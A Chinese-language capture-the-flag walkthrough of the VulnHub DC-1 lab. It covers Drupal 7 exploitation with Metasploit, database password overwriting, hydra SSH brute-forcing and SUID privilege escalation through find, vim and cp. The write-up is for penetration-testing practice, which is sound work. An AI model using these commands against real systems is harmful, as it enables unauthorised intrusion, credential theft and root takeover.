vulnhub靶场记录DC-1
vulnhub靶场记录DC-1
靶机描述
DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.
To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.
There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.
Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.
Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.
靶场搭建
下载路径
https://download.vulnhub.com/dc/DC-1.zip
使用vmware——文件——打开——导入DC-1.ova——创建靶机
渗透靶场
一.信息搜集(寻找真实ip 探端口及服务)
目标探测,如:扫描域名、IP、开放端口、确认其使用的软件版本、框架版本等
我们只需要创建好靶机就可以了 不需要进行登陆 在渗透过程中 不需要登陆root用户 但是需要root权限
由于我们刚刚对于靶机的网络设置是NAT模式 所以靶机是自动获得IP 且和kali是在同一局域网下
可以看到 我们现在kali的ip是192.168.160.131
那么我们可以使用nmap扫描kali的c段中存活的主机 来找到靶机的真实ip
nmap 192.168.160.0/24
-sP:向目标发送 TCP ACK 的包,如果有响应,则表明目标处于活动状态;
找到靶机ip是192.168.160.146
接下来 在使用nmap探靶机开放的端口
nmap -T4 -sC -sV 192.168.160.146 或 nmap -A -p- -v 192.168.160.146
-sV 参数:探测端口上运行的软件;
-A 详细扫描
-T4 设定时间强度
开放了22端口 存在ssh服务 OpenSSH版本6.0p1
开放了80端口 存在web服务 使用apche httpd版本2.2.22 使用了Drupal7(CMS开源框架 使用php语言编写)
开放了111端口 存在rpcbind服务器
这一步的操作使用
whatweb -v 192.168.160.146
也可以进行CMS识别
二.信息分析
开启了ssh服务 也许有弱口令 可以尝试爆破
Drupal有公开的RCE漏洞 可以尝试进行验证利用
三.访问web站点
访问刚刚扫出来的web站点 是Drupal
192.168.160.146
使用wappalyzer
插件查看网站的相关配置 发现和刚刚扫出来的配置是一样的
四.利用MSF(msfconsole)进行渗透
1.msfconsole命令介绍
msfconsole 进入MSF控制台
search 搜索相应模块
use 对应模块
show options 查看信息
set RHOST 设置远程主机ip
run 攻击(启动模块)
host 查看扫描记录
back 停止攻击(退出模块)
save 保存模块配置
show exploits/payloads 查看所有攻击模块/查找所有攻击载荷
2.搜索Drupal7漏洞
searchsploit
先使用searchsploit Drupal 7
搜索一下Drupal 7的漏洞 可以找到很多
Exploit-db是Kali linux 官方团队维护的一个安全项目,存储了大量的漏洞利用程序,是公认的世界上最大的搜集漏洞的数据库。它的在线版本是https://www.exploit-db.com/ 。而searchsploit可以利用exploit-db提供的数据库进行离线搜索
过滤一下 是7版本的漏洞
3.使用msfconsole扫exp
msfconsole命令简单介绍
msfconsole 进入MSF控制台
search * 搜索相应模块
use * 对应模块
show options 查看信息
set RHOST 远程主机ip
run 攻击
show info 查看模块的详细信息
搜索drupal模块
search drupal
选中模块
发现模块1是远程命令执行漏洞 使用模块1搞一下
use 1
show options 查看详细信息
设置靶机ip运行msf
set RHOST 192.168.160.146 设置靶机ip
run 开始攻击
4.进入shell
exp运行成功 我们进入shell
shell
5.flag1
进入目录 找到flag1
ls
cat flag1.txt
Every good CMS needs a config file - and so do you.
翻译:每个优秀的内容管理系统(CMS)都需要配置文件,你也一样。
6.flag2
flag1的内容提示我们寻找配置文件
我们先使用python反弹一个交互式shell
python -c 'import pty; pty; pty.spawn("/bin/bash")'
gpt做题法
找到/var/www/sites/default/settings.php
查看内容 找到flag2 还找到了数据库的配置文件
flag2
Brute force and dictionary attacks aren't the
only ways to gain access (and you WILL need access).
What can you do with these credentials?
翻译:爆破和字典攻击并不是
获得访问权限的唯一方式(你需要访问权限)
你能用这些证书做什么
7.flag3
进入数据库
flag2提示我们提升权限不能靠爆破和字典攻击 不知道上面提到的证书是什么意思
但是我们知道数据库的信息了 就先看一下数据库
mysql -udbuser -p
Enter password: R0ck3t
进入后 查数据库 查表 查字段 查内容
show databases;
use drupaldb;
show tables;
show columns from users;
select name,pass from users;
可以找到admin用户的密码 但是一看就是加盐了
没关系 直接改成弱密码123456
就行了
但是再次之前 我们需要找到他的加密脚本 将加盐加密的123456
放入数据库中
在/var/www/scripts/password-hash.sh
$S$D/ckVXyCs7v65HPpFO/zG93O33n/wdyqQF7po2sOp07Dw5/I6X/P
再次进入数据库 更改密码
update users set pass='$S$D/ckVXyCs7v65HPpFO/zG93O33n/wdyqQF7po2sOp07Dw5/I6X/P' where name='admin';
登入网页
使用admin/123456
成功登陆
翻找网页内容 找到flag3
flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
翻译:特殊的权限可以帮助找到密码,但你需要执行该命令才能知道如何获取shadow中的内容。
8.flag4
在/home文件夹中找到flag4
flag4
Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is?
翻译:
你能用同样的方法找到或访问 root 中的flag吗?
也许可以。但也许没那么容易。 又或许可以?
flag3中提到shadow文件 但是一般情况来讲 查看shadow文件都需要使用root权限
我们可以看到 现在是www-data权限 查看shadow文件 权限不够
但是我们可以查看passwd文件 可以看到确实是有flag4这个用户
hydra
这里学到一点 可以尝试使用hydra进行密码爆破 这里我们使用password.lst字典进行爆破
hydra -l flag4 -P /home/kali/Desktop/brutehash/password.lst ssh://192.168.160.146
-l 指定用户名
-P 加载密码字典(自定义)
ssh://ip 指定使用协议和ip地址
爆破出flag4的密码是orange
登录成功 拿到flag4权限
9.thefinalflag
suid提权
由flag4的提示 我们得知在/root文件夹中还有一个flag 但是我们现在并没有root权限
由flag3的内容当作提示 我们想到需要进行权限的提升 在提示中提到了-exec
命令 想到suid提权 在这里我们使用find命令
suid
suid是一种对二进制程序(我们执行的命令就是一种二进制程序)设置的特殊权限 设置了suid权限的程序 在用户执行该程序时 用户的权限是该程序属主的权限 如果程序属主是root权限 那么执行该程序的用户就将暂时获得root权限
要注意:
1. SUID权限只能设置二进制文件
2. 命令执行者要有二进制文件的执行权
3. 命令执行者执行二进制文件时会获得该程序的属主身份
4. SUID权限只在程序执行中有效
find
一、按名称或正则表达式查找文件
格式:find . -name test.txt // .符号代表路径 test.txt的位置放想要查找的文件名字
find . -name "*.txt" // 使用正则表达式 查找所有txt文件
find . -type f -name "*.txt" // 最好还是使用-type指定查找普通文件 以使所有内容更清晰
// -type参数的一些用法
字母 文件类型
b block (buffered) special
c character (unbuffered) special
d directory(目录)
p named pipe (FIFO)(命名管道)
l symbolic link; this is never true if the -L option or the -follow option is in effect, unless the symbolic link is broken. If you want to search for symbolic links when -L is in effect, use -xtype. (软连接;如果-L或者-follow选项生效,这个字母就不能用,除非 软连接断开了。如果你想在-L生效的时候,搜索软连接,使用-xtype选项)
f regular file(普通文件)
s socket
D door (Solaris)
//
二、查找不同类型的文件
我们可以使用不同的-type参数 来查找不同类型的文件
find . -type d -name "w3n*" // 使用 d 参数 查找所有名字中含有 w3n 的目录
find . -type l -name "w3n*" // 使用 l 参数 查找所有名字中含有 w3n 的符号链接
三、按特定的时间戳查找文件
linux中三种不同的时间戳:
访问时间戳(atime):最后一次读取文件的时间
修改时间戳(mtime):文件内容最后一次修改时间
更改时间戳(ctime):上次更改文件元数据的时间 例如所有权、位置、文件类型等
+ 是大于 -是小于
find . -type f -atime +365 // 查找最后一次访问时间超过一年的文件
find . -type f -mtime 5 // 查找最后一次修改时间为5天前的文件
find . -type f -ctime +5 -ctime -10 // 查找上次更改元数据时间为5到10天前的文件
四、按大小查找文件
-size参数可以帮助我们按照文
b: 512 字节(默认)
c: 字节
w: 两字节字
k: 千字节
M: 兆字节
G: 千兆字节件大小来进行查找
find . -type f -size +10M -size -1G // 查找文件大小大于10M 小于1G的文件
五、按权限查找文件
-perm可以帮助我们按特定权限查找文件
//常见的权限数字
444 r--r--r--
600 rw-------
644 rw-r--r--
666 rw-rw-rw-
700 rwx------
744 rwxr--r--
755 rwxr-xr-x
777 rwxrwxrwx
从左至右,
1-3位数字代表文件所有者的权限,
4-6位数字代表同组用户的权限,
7-9数字代表其他用户的权限。
读取权限:等于4 用 r 表示
写入权限:等于2 用 w 表示
执行权限:等于1 用 x 表示
eg.
755
7: 4+2+1 文件所有者拥有读取、写入、执行权限
5:4+0+1 同组用户拥有读取、执行权限
5:4+0+1 其他用户拥有读取、执行权限
//
find . -type f -perm 777 // 查找所有具有777权限的文件 这意味着这些文件对其所有者、组和所有用户具有所有的读、写和可执行权限
六、按所有权查找文件
-user可以让我们按照所有权查找文件
find . -type f -user w3nx1z1 // 查找所有所有权是w3nx1z1的文件
七、找到文件后执行命令
使用-exec
在Linux中,exec是一个用于替换当前进程的系统调用 当一个进程调用exec时,它会被一个新的程序所替代,而新程序将从其main函数或入口点开始执行。这意味着原始进程的代码、数据和堆栈都会被新程序的相应部分所取代,从而实现了进程的自我替换。
在使用-exec命令时 必须要注意严格遵守以下格式: -exec 命令 {} \;
find . -type f -atime +5 -exec ls {} \; // 查找所有最后访问时间超过5天的文件 并将其列出
find . -type f -atime +365 -exec rmm -rf {} \; // 查找所有最后访问时间超过一年的文件 并将其删除
find /etc -type f -name "passwd" -exec grep "root" {} \; // 查找在/etc文件夹下名为"passwd"的文件 并使用grep查找其中是否有名为"root"的用户
现在我们已经了解了一点关于suid提权的基本内容 再来看一下suid提权的具体操作
设置/去掉suid
chmod u+s filename 设置suid位
chmod u-s filename 去掉suid位
查找suid
find / -type f -perm -u=s(或者-4000) 2>/dev/null
find命令提权
如果find命令不是suid权限 先给find命令设置suid权限
chmod u+s /bin/usr/find
进行提权
find 已有文件名 -exec whoami \;
vim命令提权
赋予vim suid权限
chmod u+s /bin/vim
使用vim在/etc/sudoers中创建一个用户
vim /etc/sudoers
格式和root用户一样
su - test
sudo bash
whoami
cp命令提权
同样 先赋予/usr/bin/cp suid权限
chmod u+s /usr/bin/cp
拥有suid权限的程序会由rwx变为rws
使用cp将/etc/passwd复制到当前用户的文件夹下
使用openssl生成一个密码
openssl passwd -1 -salt 1*2*3 abcd // passwd参数代表生成一个密码,-1为md5,-salt指定盐(随意),最后要跟加密的值,也就是密码
使用vim编辑./passwd 创建一个新用户 并将密码添加在其中 使用过:wq!
强制保存
再将这个./passwd复制回原来的位置
cp ./passwd /etc/passwd
此时在su abc
输入密码abcd
就是root用户了
那么接下来 就使用find命令对靶场进行提权
首先使用find命令查找拥有suid权限的程序 在根目录下执行以下命令
find / -type f -perm -u=s 2>dev/null
发现find命令是有suid权限的 那么我们就可以使用find来进行suid提权了
find / -type f -exec /bin/sh \;
whoami
成功root
进入/root文件夹 找到thefinalflag.txt
thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
结语
至此,靶场中的全部flag完全拿到了